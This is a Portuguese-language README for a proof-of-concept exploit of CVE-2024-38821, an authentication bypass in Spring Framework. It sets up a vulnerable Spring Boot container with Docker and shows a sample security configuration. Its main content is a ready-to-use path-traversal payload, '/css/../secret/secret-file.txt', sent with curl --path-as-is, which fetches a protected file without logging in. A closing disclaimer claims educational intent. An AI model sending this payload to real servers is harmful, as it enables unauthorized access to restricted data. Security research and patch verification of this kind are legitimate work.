
Exploit de prova de conceito para CVE-2024-38821, demonstrando bypass de autenticação no Spring Framework via path traversal para acessar recursos restritos.
Esta é uma prova de conceito para a vulnerabilidade CVE-2024-38821
Construa a imagem Docker (Spring Boot 3.3.4, baseada no Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38821-poc .
Execute o contêiner e exponha a porta 8080 para a máquina host
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
Execute o seguinte comando para executar o PoC e confirmar a vulnerabilidade
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
Se o ataque for bem-sucedido, a resposta exibirá: This is a secret file.
Crie o SecurityConfig.java para configurar as permissões de acesso:
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
.pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
.anyExchange().authenticated() // Authentication is required for all other paths
)
.formLogin().and() // Enable form-based authentication
.build();
}
Crie o seguinte payload. Como o payload começa com /css/, ele corresponde ao padrão de caminho permitido. Não começa com /secret/, portanto não corresponde ao padrão de caminho que requer autenticação:
/css/../secret/secret-file.txtUse o seguinte comando curl para executar o PoC e verificar se o ataque foi bem-sucedido:
# Note: The --path-as-is option is required to send the request without URL normalization.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
Este PoC é fornecido para fins educacionais e de pesquisa em segurança. Antes de utilizá-lo em um sistema real, certifique-se de que a vulnerabilidade foi corrigida e que você possui autorização adequada. O autor não se responsabiliza por qualquer uso indevido deste código.
Se o ataque for bem-sucedido, a resposta exibirá: This is a secret file.